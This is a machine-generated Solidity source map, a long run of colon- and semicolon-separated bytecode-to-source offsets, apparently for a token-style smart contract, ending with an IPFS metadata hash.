:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5885:6:0;:14;;-1:-1:-1;;;;5885:14:0;;;-1:-1:-1;;;;10565:483:0:o;11733:92::-;11790:10;;:27;;-1:-1:-1;;;;;11790:10:0;;;;:27;;;;;11810:6;;11790:10;:27;:10;:27;11810:6;11790:10;:27;;;;;;;;;;;;;;;;;;;1954:246;2012:7;2036:1;2041;2036:6;2032:47;;-1:-1:-1;2066:1:0;2059:8;;2032:47;2089:9;2101:5;2105:1;2101;:5;:::i;:::-;2089:17;-1:-1:-1;2134:1:0;2125:5;2129:1;2089:17;2125:5;:::i;:::-;:10;2117:56;;;;-1:-1:-1;;;2117:56:0;;13846:2:1;2117:56:0;;;13828:21:1;13885:2;13865:18;;;13858:30;13924:34;13904:18;;;13897:62;-1:-1:-1;;;13975:18:1;;;13968:31;14016:19;;2117:56:0;13644:397:1;2117:56:0;2191:1;1954:246;-1:-1:-1;;;1954:246:0:o;2208:132::-;2266:7;2293:39;2297:1;2300;2293:39;;;;;;;;;;;;;;;;;:3;:39::i;10459:98::-;10516:7;10543:1;10541;:3;10540:9;;10548:1;10540:9;;;-1:-1:-1;10546:1:0;10459:98;-1:-1:-1;10459:98:0:o;1425:179::-;1483:7;;1515:5;1519:1;1515;:5;:::i;:::-;1503:17;;1544:1;1539;:6;;1531:46;;;;-1:-1:-1;;;1531:46:0;;14248:2:1;1531:46:0;;;14230:21:1;14287:2;14267:18;;;14260:30;14326:29;14306:18;;;14299:57;14373:18;;1531:46:0;14046:351:1;1612:136:0;1670:7;1697:43;1701:1;1704;1697:43;;;;;;;;;;;;;;;;;:3;:43::i;2348:189::-;2434:7;2469:12;2462:5;2454:28;;;;-1:-1:-1;;;2454:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2493:9:0;2505:5;2509:1;2505;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:134::-;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:456::-;1613:6;1621;1629;1682:2;1670:9;1661:7;1657:23;1653:32;1650:52;;;1698:1;1695;1688:12;1650:52;1737:9;1724:23;1756:31;1781:5;1756:31;:::i;:::-;1806:5;-1:-1:-1;1863:2:1;1848:18;;1835:32;1876:33;1835:32;1876:33;:::i;:::-;1536:456;;1928:7;;-1:-1:-1;;;1982:2:1;1967:18;;;;1954:32;;1536:456::o;2186:127::-;2247:10;2242:3;2238:20;2235:1;2228:31;2278:4;2275:1;2268:15;2302:4;2299:1;2292:15;2318:1121;2402:6;2433:2;2476;2464:9;2455:7;2451:23;2447:32;2444:52;;;2492:1;2489;2482:12;2444:52;2532:9;2519:23;2561:18;2602:2;2594:6;2591:14;2588:34;;;2618:1;2615;2608:12;2588:34;2656:6;2645:9;2641:22;2631:32;;2701:7;2694:4;2690:2;2686:13;2682:27;2672:55;;2723:1;2720;2713:12;2672:55;2759:2;2746:16;2781:2;2777;2774:10;2771:36;;;2787:18;;:::i;:::-;2833:2;2830:1;2826:10;2865:2;2859:9;2928:2;2924:7;2919:2;2915;2911:11;2907:25;2899:6;2895:38;2983:6;2971:10;2968:22;2963:2;2951:10;2948:18;2945:46;2942:72;;;2994:18;;:::i;:::-;3030:2;3023:22;3080:18;;;3114:15;;;;-1:-1:-1;3156:11:1;;;3152:20;;;3184:19;;;3181:39;;;3216:1;3213;3206:12;3181:39;3240:11;;;;3260:148;3276:6;3271:3;3268:15;3260:148;;;3342:23;3361:3;3342:23;:::i;:::-;3330:36;;3293:12;;;;3386;;;;3260:148;;;3427:6;2318:1121;-1:-1:-1;;;;;;;;2318:1121:1:o;3444:247::-;3503:6;3556:2;3544:9;3535:7;3531:23;3527:32;3524:52;;;3572:1;3569;3562:12;3524:52;3611:9;3598:23;3630:31;3655:5;3630:31;:::i;3904:388::-;3972:6;3980;4033:2;4021:9;4012:7;4008:23;4004:32;4001:52;;;4049:1;4046;4039:12;4001:52;4088:9;4075:23;4107:31;4132:5;4107:31;:::i;:::-;4157:5;-1:-1:-1;4214:2:1;4199:18;;4186:32;4227:33;4186:32;4227:33;:::i;:::-;4279:7;4269:17;;;3904:388;;;;;:::o;4297:180::-;4356:6;4409:2;4397:9;4388:7;4384:23;4380:32;4377:52;;;4425:1;4422;4415:12;4377:52;-1:-1:-1;4448:23:1;;4297:180;-1:-1:-1;4297:180:1:o;4482:356::-;4684:2;4666:21;;;4703:18;;;4696:30;4762:34;4757:2;4742:18;;4735:62;4829:2;4814:18;;4482:356::o;5033:127::-;5094:10;5089:3;5085:20;5082:1;5075:31;5125:4;5122:1;5115:15;5149:4;5146:1;5139:15;5165:422;5254:1;5297:5;5254:1;5311:270;5332:7;5322:8;5319:21;5311:270;;;5391:4;5387:1;5383:6;5379:17;5373:4;5370:27;5367:53;;;5400:18;;:::i;:::-;5450:7;5440:8;5436:22;5433:55;;;5470:16;;;;5433:55;5549:22;;;;5509:15;;;;5311:270;;;5315:3;5165:422;;;;;:::o;5592:806::-;5641:5;5671:8;5661:80;;-1:-1:-1;5712:1:1;5726:5;;5661:80;5760:4;5750:76;;-1:-1:-1;5797:1:1;5811:5;;5750:76;5842:4;5860:1;5855:59;;;;5928:1;5923:130;;;;5835:218;;5855:59;5885:1;5876:10;;5899:5;;;5923:130;5960:3;5950:8;5947:17;5944:43;;;5967:18;;:::i;:::-;-1:-1:-1;;6023:1:1;6009:16;;6038:5;;5835:218;;6137:2;6127:8;6124:16;6118:3;6112:4;6109:13;6105:36;6099:2;6089:8;6086:16;6081:2;6075:4;6072:12;6068:35;6065:77;6062:159;;;-1:-1:-1;6174:19:1;;;6206:5;;6062:159;6253:34;6278:8;6272:4;6253:34;:::i;:::-;6323:6;6319:1;6315:6;6311:19;6302:7;6299:32;6296:58;;;6334:18;;:::i;:::-;6372:20;;5592:806;-1:-1:-1;;;5592:806:1:o;6403:140::-;6461:5;6490:47;6531:4;6521:8;6517:19;6511:4;6490:47;:::i;6548:168::-;6621:9;;;6652;;6669:15;;;6663:22;;6649:37;6639:71;;6690:18;;:::i;6721:127::-;6782:10;6777:3;6773:20;6770:1;6763:31;6813:4;6810:1;6803:15;6837:4;6834:1;6827:15;6853:135;6892:3;6913:17;;;6910:43;;6933:18;;:::i;:::-;-1:-1:-1;6980:1:1;6969:13;;6853:135::o;7957:306::-;8045:6;8053;8061;8114:2;8102:9;8093:7;8089:23;8085:32;8082:52;;;8130:1;8127;8120:12;8082:52;8159:9;8153:16;8143:26;;8209:2;8198:9;8194:18;8188:25;8178:35;;8253:2;8242:9;8238:18;8232:25;8222:35;;7957:306;;;;;:::o;8547:277::-;8614:6;8667:2;8655:9;8646:7;8642:23;8638:32;8635:52;;;8683:1;8680;8673:12;8635:52;8715:9;8709:16;8768:5;8761:13;8754:21;8747:5;8744:32;8734:60;;8790:1;8787;8780:12;11211:125;11276:9;;;11297:10;;;11294:36;;;11310:18;;:::i;12048:128::-;12115:9;;;12136:11;;;12133:37;;;12150:18;;:::i;12181:251::-;12251:6;12304:2;12292:9;12283:7;12279:23;12275:32;12272:52;;;12320:1;12317;12310:12;12272:52;12352:9;12346:16;12371:31;12396:5;12371:31;:::i;12437:980::-;12699:4;12747:3;12736:9;12732:19;12778:6;12767:9;12760:25;12804:2;12842:6;12837:2;12826:9;12822:18;12815:34;12885:3;12880:2;12869:9;12865:18;12858:31;12909:6;12944;12938:13;12975:6;12967;12960:22;13013:3;13002:9;12998:19;12991:26;;13052:2;13044:6;13040:15;13026:29;;13073:1;13083:195;13097:6;13094:1;13091:13;13083:195;;;13162:13;;-1:-1:-1;;;;;13158:39:1;13146:52;;13253:15;;;;13218:12;;;;13194:1;13112:9;13083:195;;;-1:-1:-1;;;;;;;13334:32:1;;;;13329:2;13314:18;;13307:60;-1:-1:-1;;;13398:3:1;13383:19;13376:35;13295:3;12437:980;-1:-1:-1;;;12437:980:1:o;13422:217::-;13462:1;13488;13478:132;;13532:10;13527:3;13523:20;13520:1;13513:31;13567:4;13564:1;13557:15;13595:4;13592:1;13585:15;13478:132;-1:-1:-1;13624:9:1;;13422:217::o

ipfs://02f8bea52a11e7490de55f3e69a7be0a91c16fa0b706e86319e918985ba7ee8b